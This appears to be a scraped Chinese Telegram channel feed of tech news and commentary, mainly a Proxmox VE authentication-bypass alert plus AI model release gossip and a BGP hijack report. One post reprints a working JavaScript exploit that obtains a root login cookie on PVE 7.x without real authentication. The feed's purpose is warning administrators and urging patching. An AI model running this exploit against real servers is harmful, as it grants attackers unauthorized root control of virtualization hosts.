HAT's Public Channel |
#风险预警 本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告),从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破,可绕过身份验证。 操作建议: 1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网; 2) 如一定需要暴露公网,也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare…
*PVE8 也已经在 8/31 EOL 了
*在官方出正式报告前,即便是最新版也不建议直接暴露公网
我总感觉官方还没修
*在官方出正式报告前,即便是最新版也不建议直接暴露公网
😱12🎅1
怎么 codex cli 新版又改成这b样了 (图1是新版, 图2是上个版本加的) ,真的是越来越难用
他们 CLI 的产品经理真的还有人类吗?
他们 CLI 的产品经理真的还有人类吗?
Forwarded from Hacker News 摘要
Telegraph
互联网中心化与 NAT 的“原罪”
原标题:Internet centralization and the original sin of NAT 这篇博文探讨了网络地址转换(NAT)如何破坏了互联网最初的优雅设计,并最终导致了现代互联网的高度中心化。 为什么普通人不再自己搭建服务器 在很多普通用户甚至一些熟悉电脑操作的人眼里,让外部网络直接连接自己的个人电脑是一件罕见甚至危险的事情。大众习惯了“云端”或“中心服务器”的概念,认为点对点(P2P)连接非常繁琐复杂。但这种现状并不是互联网最初的设计,而是由 NAT、运营商级 NAT(CGNA…
👍5
Forwarded from Cat Ch. (webRTCCat | Present Day, Present Time)
X (formerly Twitter)
ReactOS (@reactos) on X
With recently merged job object and job UI restriction works, "Unchinesed" (modified) version of 360 Chrome 13.0.2250.0 (Chromium 86.0.4240.198) now works fine in #ReactOS, without disabling sandb…
😱10
Cat Ch.
https://x.com/reactos/status/2094473269134926224 ?
TIL: 360 极速浏览器《Unchinesed》
AngelSlim (也是 Tencent Hy 旗下) 这个思路怎么有一种非常强烈的 Unsloth 即视感呢?
https://fixupx.com/TencentHunyuan/status/2093572224342954019
https://fixupx.com/TencentHunyuan/status/2093572224342954019
FixupX
Tencent Hy (@TencentHunyuan)
We compressed Hy4-preview from 1.5TB to ~200GiB GGUF and it still works well !
Meet MIX-STQ1_0.The trick isn’t just going low, it’s deciding where: calibration data picks each layer’s bit-width, some down to 1.31-bit STQ1_0, some up to 2.06-bit IQ2_XXS.…
Meet MIX-STQ1_0.The trick isn’t just going low, it’s deciding where: calibration data picks each layer’s bit-width, some down to 1.31-bit STQ1_0, some up to 2.06-bit IQ2_XXS.…
Kimi Code 现已支持 Responses API,即刻在 Codex 中体验 Kimi
为了满足大家对 Codex 的需求,Kimi Code 服务端已原生支持 OpenAI Responses API(流式/非流式、reasoning、function calling 均可用),Codex CLI 可以通过自定义 model provider 直连 Kimi Code,无需任何本地路由或协议转换工具。(Codex桌面端与Codex CLI配置底层逻辑一致 )
如何将 Kimi Code 模型接入 Codex,详见具体配置方法文档 👉
https://www.kimi.com/code/docs/third-party-tools/codex.html
⚠️ 使用 Codex 桌面 App 时还需要一步:
从 Dock 或访达启动的 App 读不到终端里的环境变量,需要把 Key 注入当前用户会话。在终端执行:
launchctl setenv KIMI_API_KEY "sk-kimi-你的key"
执行后完全退出桌面 App(Cmd+Q)再重新打开,才会生效。注意:该变量在重启电脑后失效,需要重新执行。
Windows 没有这一步——setx 写入的是系统环境变量,重启 App 即可。
【信源:Kimi Code 官方飞书群】
HAT's Public Channel |
grok-build-web-skills.zip
chatgpt-web-skills.zip
121.4 MB
从 ChatGPT Web 提取的 Skills, 主要有 docx, pdfs, slides, spreadsheets
含有大量 PPT 模板、PDF/PPT/DOCX/openpyxl/ooxml/... 软件工程基建
含有大量 PPT 模板、PDF/PPT/DOCX/openpyxl/ooxml/... 软件工程基建
👍19🎉3
HAT's Public Channel |
#风险预警 本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告),从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破,可绕过身份验证。 操作建议: 1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网; 2) 如一定需要暴露公网,也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare…
Update: 由于 PVE 7.x 已 EOL,因此对应版本的 Exploit 已提前发布(确认可完整绕过 WebUI 认证),8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何,尽快参考 最佳实践 加固你所有对外开放的敏感服务!
Exp (.js) 正文:
观后感:不是,你就这么水灵灵的拿到 login cookie 了?
https://fixupx.com/nebusecurity/status/2094719919539793989
无论如何,尽快参考 最佳实践 加固你所有对外开放的敏感服务!
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
观后感:不是,你就这么水灵灵的拿到 login cookie 了?
https://fixupx.com/nebusecurity/status/2094719919539793989
🧵 Thread • FixupX
NebuSec (@nebusecurity)
Proxmox VE 7.x authentication bypass (pre-auth RCE)
🤯10❤1
HAT's Public Channel |
Update: 由于 PVE 7.x 已 EOL,因此对应版本的 Exploit 已提前发布(确认可完整绕过 WebUI 认证),8.x/9.x 则被作者声明为 “暂时不受影响” 无论如何,尽快参考 最佳实践 加固你所有对外开放的敏感服务! Exp (.js) 正文: // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam…
此漏洞已分配编号 PSA-2026-00043-1
确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9
*如果你在 PVE WebUI 中配置了用户的 TFA,就不受此漏洞影响
https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9
*如果你在 PVE WebUI 中配置了用户的 TFA,就不受此漏洞影响
https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
Proxmox Support Forum
Proxmox Virtual Environment - Security Advisories
Subject: PSA-2026-00037-1: SCTPhantom Local Privilege Escalation issue
Advisory date: 2026-08-10
Packages: proxmox-kernel-*
Details:
A use-after-free issue in the Linux kernels SCTP code...
Advisory date: 2026-08-10
Packages: proxmox-kernel-*
Details:
A use-after-free issue in the Linux kernels SCTP code...
Fable 5.1 来了,Astra 还会远吗?
Breaking Changes TL;DR:
https://platform.claude.com/docs/en/models/fable-5-1/overview
Breaking Changes TL;DR:
1. (最大变更) Fable 5.1 加强了奇技淫巧 “解密” 思维链门槛
a) Fable 5.1 可以读取 Claude Opus 5、Claude Fable 5、Claude Mythos 5 以及更早的 Claude 模型中的加密思维链
b) 更高级的 Mythos 5.1 和 Fable 5.1 自身可以读取 Fable 5.1 的思维链,但其他模型都无法读取
c) 新的思维链加密签名算法会针对 “所有历史记录” 进行 checksum, 如果手动编辑了历史记录,那么最新的思维链签名将会失效
TL;DR: 也就是说从此之后 A\ 只允许新的、先进的模型读取旧模型的思维链,以防被跨模型蒸馏。
2. 输入输出价格相同,缓存读取成本降低至 1/4 ($1/M -> $0.25/M)
3. Claude Mythos 5.1 也同步发布,但仍需申请 Project Glasswing
https://platform.claude.com/docs/en/models/fable-5-1/overview
🍓10❤1
HAT's Public Channel |
Fable 5.1 来了,Astra 还会远吗? Breaking Changes TL;DR: 1. (最大变更) Fable 5.1 加强了奇技淫巧 “解密” 思维链门槛 a) Fable 5.1 可以读取 Claude Opus 5、Claude Fable 5、Claude Mythos 5 以及更早的 Claude 模型中的加密思维链 b) 更高级的 Mythos 5.1 和 Fable 5.1 自身可以读取 Fable 5.1 的思维链,但其他模型都无法读取 c) 新的思维链加密签名算法会针对…
极致省流版:https://stolen-thoughts.com/paper.pdf 把 A/ 叔叔逼急了偷偷给 Fable 5 发了个小版本迭代加强了思维链签名算法阻断了跨模型蒸馏路径,但 breaking changes 这么多容易引发众怒,于是 A/ 送了个桃求大家适配新 Fable 5.1 模型 (缓存命中永久25折),模型表现是没有提升的。
🌭20🌚2
OpenAI 称 Astra 将大幅提升网络安全赛道能力,相比 GPT-5.6 Sol (Daybreak Blue):ExploitBench 进步 239.4%、触发蜜罐的概率改善了 97.7% (改善后仅 1.3%)
(均为 Daybreak Blue 访问权限, 非 Red)
src https://openai.com/index/path-to-astra/
(均为 Daybreak Blue 访问权限, 非 Red)
src https://openai.com/index/path-to-astra/
哎, Tanstack 是目前唯二 (还有一个 Remix) 不算邪恶三角形势力的主流 react SSR framework 了,难道现在也要...(叹气)
https://fixupx.com/tan_stack/status/2094888852607652280
https://fixupx.com/tan_stack/status/2094888852607652280
FixupX
TANSTACK (@tan_stack)
🏝️ + ▲ = 🚀
TanStack and @Vercel are officially teaming up!
We’re working together to make Vercel a first-class home for TanStack Start with better support for deploying and running anything you can dream up with TanStack on Vercel.
Start here! 👇
htt…
TanStack and @Vercel are officially teaming up!
We’re working together to make Vercel a first-class home for TanStack Start with better support for deploying and running anything you can dream up with TanStack on Vercel.
Start here! 👇
htt…
HAT's Public Channel |
观后感:大为震撼。 在 2026 年竟然还能发生 BGP 劫持 (还带了有效的 RPKI ROA),竟然可以整整劫持 48h、甚至连证书错误颁发下来了还没任何人发现? 尽早普及 RPKI ASAP,任重而道远。 劫持源 ISP: AS62390 NexonHost (上游: AS6204 ZET.NET),可以拉黑这两家上游了。
此团伙共劫持了这些域名,并成功从 LE 拿下了证书:
序列号 06:d0:a9:43:42:18:66:bb:f0:60:a1:c9:4c:88:8a:64:63:c0
序列号 06:d0:a9:43:42:18:66:bb:f0:60:a1:c9:4c:88:8a:64:63:c0
CN=softaculous.com
Extension[6] - Subject Alternative Name
Alternative Names (26):
[1] DNS: a.softaculous.com
[2] DNS: ampps.com
[3] DNS: api.sitepad.com
[4] DNS: api.softaculous.com
[5] DNS: api.virtualizor.com
[6] DNS: api.webuzo.com
[7] DNS: backuply.com
[8] DNS: files.ampps.com
[9] DNS: files.sitepad.com
[10] DNS: files.softaculous.com
[11] DNS: files.virtualizor.com
[12] DNS: files.webuzo.com
[13] DNS: pagelayer.com
[14] DNS: popularfx.com
[15] DNS: server.softaculous.com
[16] DNS: sitepad.com
[17] DNS: softaculous.com
[18] DNS: virtualizor.com
[19] DNS: webuzo.com
[20] DNS: www.ampps.com
[21] DNS: www.backuply.com
[22] DNS: www.popularfx.com
[23] DNS: www.sitepad.com
[24] DNS: www.softaculous.com
[25] DNS: www.virtualizor.com
[26] DNS: www.webuzo.com
HAT's Public Channel |
此团伙共劫持了这些域名,并成功从 LE 拿下了证书: 序列号 06:d0:a9:43:42:18:66:bb:f0:60:a1:c9:4c:88:8a:64:63:c0 CN=softaculous.com Extension[6] - Subject Alternative Name Alternative Names (26): [1] DNS: a.softaculous.com [2] DNS: ampps.com [3] DNS: api.sitepad.com [4] DNS: api.softaculous.com…
然后这被劫持后颁发的证书到现在都没吊销,这 Virtualizor 整个公司都完全找不到一个和网安有关的员工吗
🌚18🎉1